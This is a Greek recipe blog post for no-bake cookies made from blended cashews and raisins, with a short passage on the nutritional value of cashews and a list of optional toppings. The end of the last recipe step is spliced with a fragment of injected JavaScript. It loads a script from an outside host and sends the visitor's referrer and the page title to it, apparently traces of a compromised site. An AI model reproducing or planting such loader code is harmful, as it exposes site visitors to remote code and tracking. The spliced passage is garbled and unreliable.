Μπισκότα χωρίς ψήσιμο με κάσιους

shutterstock_277624550Σήμερα, θα μοιραστούμε μαζί σας μια συνταγή για μπισκότα, με συστατικά που αποτελούν μια καλή πηγή φυτικών πρωτεϊνών. Η συνταγή μας είναι πολύ ευέλικτη αφού μπορούμε να προσθέσουμε οποιονδήποτε ξηρό καρπό και άλλα συστατικά, με πάντα εγγυημένο το γευστικό αποτέλεσμα. Εδώ, θα παρουσιάσουμε την εκδοχή με τα κάσιους, ενώ θα προσθέσουμε υπέροχες προσθήκες άλλων συστατικών στο εξωτερικό των μπισκότων. Οι ξηροί καρποί, είναι γενικά μια πολύ καλή πηγή πρωτεΐνών. Ειδικά τα κάσιους, είναι μια εξαιρετική πηγή μετάλλων, όπως το μαγνήσιο, το μαγγάνιο, ο χαλκός, ο φώσφορος, η βιταμίνη Κ και ο σίδηρος. Πιο συγκεκριμένα, 30 γραμμάρια κάσιους, περιέχουν 5 γραμμάρια πρωτεΐνης και σχεδόν το ένα τέταρτο των ημερήσιων αναγκών μας σε φώσφορο. Τα αντιοξειδωτικά στα κάσιους, το β-καροτένιο και η βιταμίνη Ε βοηθούν στην προστασία του οργανισμού από ασθένειες, ενώ δεν περιέχουν χοληστερόλη. Τα συστατικά τους έχουν θετική επίδραση στην υγεία των δοντιών, των οστών, του δέρματος, των μυών, των ματιών και του μεταβολισμού. Ας δούμε τα υλικά που θα χρειαστούμε για τα εύκολα μπισκότα με ξηρούς καρπούς:

Υλικά
1/2 φλιτζάνι κάσιους
10 σταφίδες

Μερικές προτάσεις για επιπλέον υλικά
Φύτρο σιταριού
Λιναρόσπορος
Σπόροι Chia
Ινδική καρύδα
Κακάο σε σκόνη
Πολύχρωμη τρούφα
Αποξηραμένα βατόμουρα
Ηλιόσποροι
Βρώμη
Σουσάμι

Εκτέλεση
1. Τοποθετούμε τις σταφίδες και τα κάσιους στο μπλέντερ και τα χτυπάμε
2. Στη συνέχεια προσθέτουμε όσα από τα προτεινόμενα επιπλέον υλικά προτιμάμε. Αν μας αρέσει κάποιο διαφορετικό υλικό, το προσθέτουμε.
3. Χωρίζουμε το μείγμα σε μικρές μπαλίτσες και τις διαμορφώνουμε σε διάφορα σχήματα.
4. Πασπαλίζουμε το εξωτερικό των μπισκότων μας με τρούφα, κακάο, σουσάμι, ή ότι προτιμάμε.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Leave a Reply

Your email address will not be published.